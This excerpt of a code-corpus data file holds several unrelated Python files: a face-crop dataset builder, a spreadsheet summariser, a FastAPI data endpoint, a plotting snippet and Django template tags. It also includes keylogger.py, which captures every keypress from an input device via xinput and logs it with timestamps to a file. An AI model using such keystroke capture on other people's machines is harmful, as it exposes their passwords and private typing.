type=int)\nparser.add_argument(\"--min_imsize\", default=4, type=int)\nparser.add_argument(\"--simple_expand\", default=False, action=\"store_true\",\n help=\"Expands the face bounding box from the center. Can include black borders.\")\nargs = parser.parse_args()\n\n\nnum_sizes = int(math.log(args.max_imsize/args.min_imsize, 2))\nTARGET_IMSIZES = [args.min_imsize * (2**k) for k in range(1, num_sizes+1)]\n\nfor imsize in TARGET_IMSIZES:\n folder = os.path.join(IMAGE_TARGET_DIR, str(imsize))\n os.makedirs(folder)\n\n\ndef get_imnames():\n imnames1 = set(LANDMARKS_JSON.keys())\n imnames2 = set(BBOX_JSON.keys())\n image_names = list(imnames2.intersection(imnames1))\n image_names.sort()\n\n return image_names\n\n\ndef match_bbox_keypoint(bounding_boxes, keypoints):\n \"\"\"\n bounding_boxes shape: [N, 5]\n keypoints: [N persons, (X, Y, Score, ?), K Keypoints]\n \"\"\"\n if len(bounding_boxes) == 0 or len(keypoints) == 0:\n return None, None\n assert bounding_boxes.shape[1] == 5, \"Shape was : {}\".format(\n bounding_boxes.shape)\n assert keypoints.shape[1:] == (4, 7), \"Keypoint shape was: {}\".format(keypoints.shape)\n # Sort after score\n sorted_idx = np.argsort(bounding_boxes[:, 4])[::-1]\n bounding_boxes = bounding_boxes[sorted_idx]\n\n matches = []\n bounding_boxes = bounding_boxes[:, :4]\n keypoints = keypoints[:, :2]\n for bbox_idx, bbox in enumerate(bounding_boxes):\n keypoint = None\n for kp_idx, keypoint in enumerate(keypoints):\n if kp_idx in [x[1] for x in matches]:\n continue\n if utils.is_keypoint_within_bbox(*bbox, keypoint):\n matches.append((bbox_idx, kp_idx))\n break\n keypoint_idx = [x[1] for x in matches]\n bbox_idx = [x[0] for x in matches]\n return bounding_boxes[bbox_idx], keypoints[keypoint_idx]\n\n\ndef process_face(bbox, landmark, imshape, imname):\n assert bbox.shape == (4,), \"Was shape: {}\".format(bbox.shape)\n assert landmark.shape == (2, 7), \"Was shape: {}\".format(landmark.shape)\n orig_bbox = bbox.copy()\n orig_landmark = landmark.copy()\n expanded_bbox = utils.expand_bbox(bbox, imshape, args.simple_expand)\n if expanded_bbox is None:\n return None\n\n width = expanded_bbox[2] - expanded_bbox[0]\n height = expanded_bbox[3] - expanded_bbox[1]\n if width < MIN_BBOX_SIZE:\n return None\n bbox[[0, 2]] -= expanded_bbox[0]\n bbox[[1, 3]] -= expanded_bbox[1]\n assert width == height, f\"width: {width}, height: {y1-y0}\"\n bbox = bbox.astype(\"int\")\n landmark[0] -= expanded_bbox[0]\n landmark[1] -= expanded_bbox[1]\n landmark = np.array([landmark[j, i]\n for i in range(landmark.shape[1]) for j in range(2)])\n return {\n \"expanded_bbox\": expanded_bbox,\n \"face_bbox\": bbox,\n \"landmark\": landmark.flatten(),\n \"orig_bbox\": orig_bbox,\n \"orig_landmark\": orig_landmark,\n \"line_idx\": imname.split(\".\")[0]\n }\n\n\ndef process_image(imname):\n impath = os.path.join(IMAGE_SOURCE_DIR, imname)\n bounding_boxes = np.array(BBOX_JSON[imname])\n landmarks = np.array(LANDMARKS_JSON[imname][\"cls_keyps\"])\n bounding_boxes, landmarks = match_bbox_keypoint(bounding_boxes, landmarks)\n if bounding_boxes is None:\n return [], impath\n assert bounding_boxes.shape[0] == landmarks.shape[0]\n\n im = Image.open(impath)\n\n imshape = im.size\n imshape = (imshape[1], imshape[0], *imshape[2:])\n resulting_annotation = []\n for bbox, landmark in zip(bounding_boxes, landmarks):\n bbox[0] = max(0, bbox[0])\n bbox[1] = max(0, bbox[1])\n bbox[2] = min(imshape[1], bbox[2])\n bbox[3] = min(imshape[0], bbox[3])\n face_res = process_face(bbox.copy(), landmark, imshape, imname)\n if face_res is not None:\n resulting_annotation.append(face_res)\n return resulting_annotation, impath\n\n\ndef pool(img):\n img = img.astype(np.float32)\n img = (img[0::2, 0::2] + img[0::2, 1::2] +\n img[1::2, 0::2] + img[1::2, 1::2]) * 0.25\n img = img.astype(np.uint8)\n return img\n\n\ndef save_face(original_im, face_annotation, im_idx):\n im = utils.cut_face(original_im, face_annotation[\"expanded_bbox\"],\n args.simple_expand)\n max_imsize = TARGET_IMSIZES[-1]\n im = cv2.resize(im, (max_imsize, max_imsize), interpolation=cv2.INTER_AREA)\n\n for imsize_idx in range(len(TARGET_IMSIZES)-1, -1, -1):\n imsize = TARGET_IMSIZES[imsize_idx]\n assert im.shape == (imsize, imsize, 3)\n assert im.dtype == np.uint8\n impath = os.path.join(IMAGE_TARGET_DIR, str(imsize), f'{im_idx}.jpg')\n to_save = Image.fromarray(im)\n to_save.save(impath)\n im = pool(im)\n\n\ndef extract_and_save_faces(impath, image_annotations, batch_offset):\n original_im = np.array(Image.open(impath).convert(\"RGB\"))\n for face_idx, face_annotation in enumerate(image_annotations):\n save_face(original_im, face_annotation, face_idx + batch_offset)\n\n\ndef save_annotation(bounding_boxes, landmarks, sizes):\n normalized_bbox = bounding_boxes\n normalized_landmark = landmarks\n\n for imsize in TARGET_IMSIZES:\n bbox_to_save = normalized_bbox / sizes * imsize\n bbox_to_save = torch.from_numpy(bbox_to_save).long()\n\n assert bbox_to_save.shape == bounding_boxes.shape\n\n target_path = os.path.join(BBOX_TARGET_DIR, \"{}.torch\".format(imsize))\n torch.save(bbox_to_save, target_path)\n\n landmark_to_save = normalized_landmark / sizes * imsize\n landmark_to_save = torch.from_numpy(landmark_to_save)\n\n target_path = os.path.join(LANDMARK_TARGET_DIR,\n \"{}.torch\".format(imsize))\n torch.save(landmark_to_save, target_path)\n\n\ndef extract_annotations_and_save(image_annotations):\n bounding_boxes = []\n landmarks = []\n sizes = []\n save_metainfo(image_annotations)\n for annotations in tqdm.tqdm(image_annotations, desc=\"Saving annotations\"):\n for annotation in annotations:\n bounding_boxes.append(annotation[\"face_bbox\"])\n landmarks.append(annotation[\"landmark\"])\n x0, y0, x1, y1 = annotation[\"expanded_bbox\"]\n assert int(y1 - y0) == int(x1 - x0), \"Expected image to have equal sizes. Was: {}, {}\".format(x1 - x0, y1 - y0)\n sizes.append(y1 - y0)\n bounding_boxes = np.stack(bounding_boxes, axis=0)\n landmarks = np.stack(landmarks, axis=0)\n sizes = np.array(sizes).reshape(-1, 1)\n save_annotation(bounding_boxes, landmarks, sizes)\n\n\ndef save_metainfo(image_annotations):\n line_idx_to_yfccm_id = {\n item[\"yfcc100m_line_idx\"]: key\n for key, item in fdf_metainfo.items()\n }\n to_save = {\n\n }\n face_id = 0\n total_faces = sum([len(x) for x in image_annotations])\n validation_size = 50000\n start_validation = total_faces - validation_size\n\n for image_annotation in image_annotations:\n for face_annotation in image_annotation:\n line_idx = face_annotation[\"line_idx\"]\n yfcc100m_id = line_idx_to_yfccm_id[line_idx]\n face_metainfo = {\n key: item\n for key, item in fdf_metainfo[yfcc100m_id].items()\n }\n new_landmark = face_annotation[\"landmark\"].reshape(2, -1)\n orig_landmark = face_annotation[\"orig_landmark\"]\n assert new_landmark.shape == orig_landmark.shape, f\"new_landmark: {new_landmark.shape}, orig_landmark: {orig_landmark.shape}\"\n orig_landmark = np.rollaxis(orig_landmark, 1)\n print(orig_landmark.shape)\n face_metainfo[\"original_bounding_box\"] = face_annotation[\"orig_bbox\"].astype(int).tolist()\n face_metainfo[\"original_landmark\"] = orig_landmark.tolist()\n face_metainfo[\"bounding_box\"] = face_annotation[\"face_bbox\"].tolist()\n face_metainfo[\"landmark\"] = face_annotation[\"landmark\"].tolist()\n face_metainfo[\"yfcc100m_line_idx\"] = line_idx\n\n if face_id >= start_validation:\n face_metainfo[\"category\"] = \"validation\"\n else:\n face_metainfo[\"category\"] = \"training\"\n to_save[face_id] = face_metainfo\n face_id += 1\n\n save_path = os.path.join(TARGET_DIR, \"fdf_metainfo.json\")\n utils.write_json(to_save, save_path)\n\n\ndef main():\n image_names = get_imnames()\n impaths = []\n image_annotations = []\n with multiprocessing.Pool(1) as pool:\n jobs = []\n for imname in image_names:\n job = pool.apply_async(process_image, (imname, ))\n jobs.append(job)\n for job in tqdm.tqdm(jobs, desc=\"Pre-processing annotations.\"):\n annotation, impath = job.get()\n impaths.append(impath)\n image_annotations.append(annotation)\n extract_annotations_and_save(image_annotations)\n total_images = [len(x) for x in image_annotations]\n print(\"Total number of images:\", sum(total_images))\n batch_offset = 0\n with multiprocessing.Pool(multiprocessing.cpu_count()) as pool:\n jobs = []\n for im_idx, annotations in enumerate(image_annotations):\n impath = impaths[im_idx]\n job = pool.apply_async(\n extract_and_save_faces, (impath, annotations, batch_offset)\n )\n batch_offset += len(annotations)\n jobs.append(job)\n for job in tqdm.tqdm(jobs):\n job.get()\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "deep_privacy/dataset_tools/fdf/generate_dataset.py", "file_name": "generate_dataset.py", "file_ext": "py", "file_size_in_byte": 10533, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "shutil.rmtree", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.read_json", "line_number": 30, "usage_type": "call"}, {"api_name": "utils.read_json", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.read_json", "line_number": 32, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 35, "usage_type": "call"}, {"api_name": "math.log", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 71, "usage_type": "call"}, {"api_name": "utils.is_keypoint_within_bbox", "line_number": 82, "usage_type": "call"}, {"api_name": "utils.expand_bbox", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 130, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 150, "usage_type": "attribute"}, {"api_name": "utils.cut_face", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 165, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 165, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 171, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 171, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 171, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 194, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.rollaxis", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "utils.write_json", "line_number": 255, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 262, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 267, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 275, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 275, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 284, "usage_type": "call"}]} +{"seq_id": "591569268", "text": "from os import listdir\n\nimport openpyxl\nfrom xlsxwriter import Workbook\n\nfrom core.abstract import SeriesSummaryRow, MovieRow\nfrom definitions import CORE_PATH\nfrom util.util import schedule_headers_map, movie_summary_headers, series_summary_headers, series_headers_map, alpha\n\nfrom enrich import imdb as IMDB\nfrom util.util import get_current_date_string\n\n\ndef get_year_from_workbook_name(wb_name):\n return int(\"\".join(x for x in wb_name if x.isdigit()))\n\n\ndef generate_summary_worksheet_from_newest_schedule():\n\n books = [f for f in listdir(CORE_PATH) if 'schedule' in f]\n\n if not books:\n print(\"No schedule files to generate summary\")\n return\n\n books.sort(key=get_year_from_workbook_name, reverse=True)\n\n print(\"Generating summary spreadsheet from : \" + books[0])\n workbook = openpyxl.load_workbook(CORE_PATH + books[0])\n\n schedule_year = get_year_from_workbook_name(books[0])\n wb = Workbook(CORE_PATH + f'movies_series_summary_{schedule_year}_{get_current_date_string()}.xlsx')\n\n movie_rows = []\n series_summary_rows = []\n series_rows = []\n\n movie_sheet = wb.add_worksheet('movies')\n ss_sheet = wb.add_worksheet('series summary')\n s_sheet = wb.add_worksheet('series')\n\n is_headers_row = True\n\n for row in workbook.active.rows:\n if is_headers_row:\n is_headers_row = False\n continue\n\n movie_series_type = row[list(schedule_headers_map).index('type')].value\n title = row[list(schedule_headers_map.keys()).index('title')].value\n\n if movie_series_type == 'film':\n existing_movie_record = list(filter(lambda m: m.title == title, movie_rows))\n\n if not existing_movie_record:\n cast = row[list(schedule_headers_map).index('cast')].value\n mr = IMDB.get_movie_row(title=title, cast=cast)\n\n if mr:\n movie_rows.append(mr)\n else:\n print(\"Existing movie record for title: \" + title)\n\n elif movie_series_type == 'series':\n ep_number = row[list(schedule_headers_map.keys()).index('episode')].value\n season = row[list(schedule_headers_map.keys()).index('season')].value\n series_detail_row = IMDB.get_summary_detail_row(title=title, episode=ep_number, season=season)\n\n if series_detail_row:\n series_rows.append(series_detail_row)\n series_row = list(filter(lambda r: r.title == title and r.season == season, series_summary_rows))\n\n if series_row: # Row with the season and title already exists\n series_row[0].increment_count() # Increment number of episodes for this season\n else:\n print(\"Created new Summary Row for : \" + title)\n sr = SeriesSummaryRow(title=title, type='series', season=season, season_year=series_detail_row.season_year)\n series_summary_rows.append(sr)\n\n series_rows.sort(key=lambda m: m.title)\n movie_rows.sort(key=lambda m: m.title)\n series_summary_rows.sort(key=lambda m: m.title)\n\n for c, h in enumerate(series_headers_map.keys()): # Write headers to series sheet\n s_sheet.write(alpha[c] + str(1), series_headers_map[h])\n\n for row, series_row in enumerate(series_rows):\n for i, field_name in enumerate(series_headers_map.keys()):\n s_sheet.write(alpha[i] + str(row+2), getattr(series_row, field_name))\n\n for c, h in enumerate(vars(SeriesSummaryRow('', '', '')).keys()): # Write headers series summary sheet\n ss_sheet.write(alpha[c] + str(1), series_summary_headers[h])\n\n for row, series_row in enumerate(series_summary_rows):\n for i, field_name in enumerate(vars(series_row).keys()): # Get attribute of SummaryRow object\n ss_sheet.write(alpha[i] + str(row + 2), getattr(series_row, field_name))\n\n for c, h in enumerate(vars(MovieRow()).keys()): # Write headers series summary sheet\n movie_sheet.write(alpha[c] + str(1), movie_summary_headers[h])\n\n for row, movie_row in enumerate(movie_rows):\n for i, field_name in enumerate(vars(movie_row).keys()): # Get attribute of MovieRow object\n movie_sheet.write(alpha[i] + str(row + 2), getattr(movie_row, field_name))\n\n print(\"\\n\\nExecution complete, exiting..\\n\\n\")\n wb.close()\n\n\nif __name__ == '__main__':\n generate_summary_worksheet_from_newest_schedule()\n", "sub_path": "summary.py", "file_name": "summary.py", "file_ext": "py", "file_size_in_byte": 4440, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "definitions.CORE_PATH", "line_number": 20, "usage_type": "argument"}, {"api_name": "openpyxl.load_workbook", "line_number": 29, "usage_type": "call"}, {"api_name": "definitions.CORE_PATH", "line_number": 29, "usage_type": "name"}, {"api_name": "xlsxwriter.Workbook", "line_number": 32, "usage_type": "call"}, {"api_name": "definitions.CORE_PATH", "line_number": 32, "usage_type": "name"}, {"api_name": "util.util.get_current_date_string", "line_number": 32, "usage_type": "call"}, {"api_name": "util.util.schedule_headers_map", "line_number": 49, "usage_type": "argument"}, {"api_name": "util.util.schedule_headers_map.keys", "line_number": 50, "usage_type": "call"}, {"api_name": "util.util.schedule_headers_map", "line_number": 50, "usage_type": "name"}, {"api_name": "util.util.schedule_headers_map", "line_number": 56, "usage_type": "argument"}, {"api_name": "enrich.imdb.get_movie_row", "line_number": 57, "usage_type": "call"}, {"api_name": "enrich.imdb", "line_number": 57, "usage_type": "name"}, {"api_name": "util.util.schedule_headers_map.keys", "line_number": 65, "usage_type": "call"}, {"api_name": "util.util.schedule_headers_map", "line_number": 65, "usage_type": "name"}, {"api_name": "util.util.schedule_headers_map.keys", "line_number": 66, "usage_type": "call"}, {"api_name": "util.util.schedule_headers_map", "line_number": 66, "usage_type": "name"}, {"api_name": "enrich.imdb.get_summary_detail_row", "line_number": 67, "usage_type": "call"}, {"api_name": "enrich.imdb", "line_number": 67, "usage_type": "name"}, {"api_name": "core.abstract.SeriesSummaryRow", "line_number": 77, "usage_type": "call"}, {"api_name": "util.util.series_headers_map.keys", "line_number": 84, "usage_type": "call"}, {"api_name": "util.util.series_headers_map", "line_number": 84, "usage_type": "name"}, {"api_name": "util.util.alpha", "line_number": 85, "usage_type": "name"}, {"api_name": "util.util.series_headers_map", "line_number": 85, "usage_type": "name"}, {"api_name": "util.util.series_headers_map.keys", "line_number": 88, "usage_type": "call"}, {"api_name": "util.util.series_headers_map", "line_number": 88, "usage_type": "name"}, {"api_name": "util.util.alpha", "line_number": 89, "usage_type": "name"}, {"api_name": "core.abstract.SeriesSummaryRow", "line_number": 91, "usage_type": "call"}, {"api_name": "util.util.alpha", "line_number": 92, "usage_type": "name"}, {"api_name": "util.util.series_summary_headers", "line_number": 92, "usage_type": "name"}, {"api_name": "util.util.alpha", "line_number": 96, "usage_type": "name"}, {"api_name": "core.abstract.MovieRow", "line_number": 98, "usage_type": "call"}, {"api_name": "util.util.alpha", "line_number": 99, "usage_type": "name"}, {"api_name": "util.util.movie_summary_headers", "line_number": 99, "usage_type": "name"}, {"api_name": "util.util.alpha", "line_number": 103, "usage_type": "name"}]} +{"seq_id": "369614866", "text": "import time\nimport argparse\nfrom subprocess import Popen, PIPE\n\nparser = argparse.ArgumentParser(description=\"Record Keypresses. Ctrl+q to stop recording\")\nparser.add_argument(\"inputid\", type=int, help=\"input device id (xinput list)\")\nparser.add_argument(\"output\", type=str, help=\"output file\")\nargs = parser.parse_args()\n\nkeycodes = {}\np = Popen([\"xmodmap\", \"-pke\"], stdout=PIPE)\nfor line in p.stdout:\n words = str(line).split()\n key = words[1]\n value = words[3] if len(words) > 3 else \"\"\n keycodes[key] = value\n\nisLeftControlDown = False\nisRightControlDown = False\nf = open(args.output, \"w\")\nstart = time.time()\np = Popen([\"xinput\", \"test\", str(args.inputid)], stdout=PIPE)\nfor line in p.stdout:\n words = str(line).split()\n goingdown = words[1] == \"press\"\n key = keycodes.get(words[2])\n if key == \"Control_L\":\n isLeftControlDown = goingdown\n if key == \"Control_R\":\n isRightControlDown = goingdown\n if key == \"q\" and (isLeftControlDown or isRightControlDown):\n break\n s = []\n s.append(str(time.time() - start))\n s.append(\"keydown\" if goingdown else \"keyup\")\n s.append(key)\n f.write(\" \".join(s))\n f.write(\"\\n\")\n", "sub_path": "keylogger.py", "file_name": "keylogger.py", "file_ext": "py", "file_size_in_byte": 1180, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 11, "usage_type": "name"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 22, "usage_type": "name"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "225940442", "text": "from fastapi import APIRouter\nimport pandas as pd\nimport json\nimport csv\nimport io\nimport requests\n\nrouter = APIRouter()\n\n\n# /final-data endpoint\n@router.get(\"/final-data\")\nasync def final_data():\n # output = sites_ids.to_json(orient=\"records\")\n # parsed = json.loads(output)\n # return parsed\n \"\"\"\n Desired Format\n{\n project_code: 1014107,\n district: \"whatever\",\n province: \"province\",\n sector: \"sector\",\n cell: \"cell\",\n village: \"village\",\n village_id: 342343,\n name: \"Buzi\",\n type: \"Suspended\",\n stage: \"Rejected\",\n sub_stage: \"Technical\",\n individuals_directly_served: 0.0,\n span: \"\",\n lat: -2.42056,\n long: 28.9662,\n communities_served: [\n \"Agahehe\",\n \"Kabacuzi\",\n \"Kamutozo\",\n \"Kamweko\",\n ],\n};\n \"\"\"\n\n # Loading data from URL\n request = requests.get(\n \"https://raw.githubusercontent.com/Lambda-School-Labs/Labs25-Bridges_to_Prosperity-TeamB-ds/main/data/edit/B2P_Rwanda_Sites%2BIDs_full_2020-09-21.csv\"\n )\n buff = io.StringIO(request.text)\n directread = csv.DictReader(buff)\n\n output = {}\n\n # Loop over rows and return according to desired format\n for row in directread:\n\n # splitting \"communities_served\" into list of strings with every\n # iteration\n if len(row[\"communities_served\"]) == 0:\n communities_served = [\"unavailable\"]\n else:\n communities_served = list(row[\"communities_served\"].split(\", \"))\n\n # Set key for dictionary\n key = row[\"project_code\"]\n\n # Set output format\n output[key] = {\n \"project_code\": row[\"project_code\"],\n \"province\": row[\"province\"],\n \"district\": row[\"district\"],\n \"sector\": row[\"sector\"],\n \"cell\": row[\"cell\"],\n \"village\": row[\"village\"],\n \"village_id\": row[\"village_id\"],\n \"name\": row[\"name\"],\n \"type\": row[\"type\"],\n \"stage\": row[\"stage\"],\n \"sub_stage\": row[\"sub_stage\"],\n \"Individuals_directly_served\": int(row[\"Individuals_directly_served\"]),\n \"span\": int(row[\"span\"]),\n \"lat\": float(row[\"lat\"]),\n \"long\": float(row[\"long\"]),\n \"communities_served\": communities_served,\n }\n\n # Return output\n return output\n", "sub_path": "project/app/api/final_data.py", "file_name": "final_data.py", "file_ext": "py", "file_size_in_byte": 2297, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "fastapi.APIRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 48, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "213330651", "text": "import numpy as np\nimport scipy.special\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nrc = {'lines.linewidth' : 2, 'axes.labelsize' : 18, 'axes.titlesize' : 18}\nsns.set(rc=rc)\n\ndef ecdf(data):\n \"\"\"\n Coputer x, y values for an empirical distribution function\n \"\"\"\n\n x = np.sort(data)\n y = np.arange(1, 1+len(x)) / len(x)\n\n return x, y\n\n#Load data\nxa_high = np.loadtxt('data/xa_high_food.csv', comments='#')\nxa_low = np.loadtxt('data/xa_low_food.csv', comments='#')\n\nx_high, y_high = ecdf(xa_high)\nx_low, y_low = ecdf(xa_low)\n\nplt.plot(x_high, y_high, marker='.', linestyle='none', markersize='20', alpha=0.5)\nplt.plot(x_low, y_low, marker='.', linestyle='none', markersize='20', alpha=0.5)\nplt.xlabel('Cross-sectional area (um)')\nplt.ylabel('eCDF')\nplt.legend(('x high', 'x low'), loc='upper right')\nplt.show()\n", "sub_path": "lesson023-024b.py", "file_name": "lesson023-024b.py", "file_ext": "py", "file_size_in_byte": 836, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "seaborn.set", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "431176864", "text": "# -*- coding: utf-8 -*-\nimport logging\n\nfrom django import template\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\n\nfrom opps.containers.models import ContainerBox\n\n\nregister = template.Library()\nlogger = logging.getLogger()\n\n\n@register.simple_tag(takes_context=True)\ndef get_articlebox(context, slug, template_name=None):\n\n try:\n box = ContainerBox.objects.get(site=settings.SITE_ID, slug=slug,\n date_available__lte=timezone.now(),\n published=True)\n except ContainerBox.DoesNotExist:\n box = None\n\n t = template.loader.get_template('articles/articlebox_detail.html')\n if template_name:\n t = template.loader.get_template(template_name)\n\n return t.render(template.Context({\n 'articlebox': box,\n 'slug': slug,\n 'context': context}\n ))\n\n\n@register.simple_tag\ndef get_all_articlebox(channel_long_slug, template_name=None):\n boxes = ContainerBox.objects.filter(\n site=settings.SITE_ID,\n date_available__lte=timezone.now(),\n published=True,\n channel_long_slug=channel_long_slug)\n\n t = template.loader.get_template('articles/articlebox_list.html')\n if template_name:\n t = template.loader.get_template(template_name)\n\n return t.render(template.Context({'articleboxes': boxes}))\n\n\n@register.simple_tag\ndef get_post_content(post, template_name='articles/post_related.html',\n content_field='content', related_name='related_posts',\n get_related=True, safe=True, divider=\"
    \",\n placeholder=settings.OPPS_RELATED_POSTS_PLACEHOLDER):\n \"\"\"\n takes the post and tries to find the related posts to embed inside\n the content, if not found return only the content.\n\n post:\n Post instance\n template_name:\n path to template which receives the related posts\n content_field:\n name of the field with post content\n related_name:\n a m2m field name or a @property name which\n returns a queryset of related posts\n get_related:\n if False bypass and return only the content\n safe:\n if True mark the content as safe\n divider:\n used when there is no placeholder\n placeholder:\n the string to replace ex: --related--\n \"\"\"\n if not hasattr(post, content_field):\n return None\n content = getattr(post, content_field, '')\n if not get_related:\n return content\n\n related_posts = getattr(post, related_name, None)\n\n if not related_posts.exists():\n return mark_safe(content)\n\n # GET THE TEMPLATE\n t = template.loader.get_template(template_name)\n related_rendered = t.render(\n template.Context({'post': post, related_name: related_posts})\n )\n # EMBED RELATED POSTS\n if placeholder in content:\n return mark_safe(content.replace(\n placeholder,\n related_rendered\n ))\n else:\n return mark_safe(content + divider + related_rendered)\n\n\n@register.simple_tag\ndef get_url(obj, http=False, target=None, url_only=False):\n\n if not hasattr(obj, 'child_class'):\n return obj.get_absolute_url()\n\n try:\n _url = obj.get_absolute_url()\n _target = target or '_self'\n _is_link = obj.child_class == 'Link'\n # Determine if it's a local or foreign link\n if _is_link and not obj.link.is_local() and not target:\n _target = '_blank'\n # Determine url type\n if http:\n _url = 'http://{}{}'.format(\n obj.site,\n obj.get_absolute_url())\n if url_only:\n return _url\n return 'href=\"{}\" target=\"{}\"'.format(_url, _target)\n except Exception as e:\n logger.error(\"Exception at templatetag get_url: {}\".format(e))\n return obj.get_absolute_url()\n", "sub_path": "opps/articles/templatetags/article_tags.py", "file_name": "article_tags.py", "file_ext": "py", "file_size_in_byte": 3931, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.template.Library", "line_number": 12, "usage_type": "call"}, {"api_name": "django.template", "line_number": 12, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "opps.containers.models.ContainerBox.objects.get", "line_number": 20, 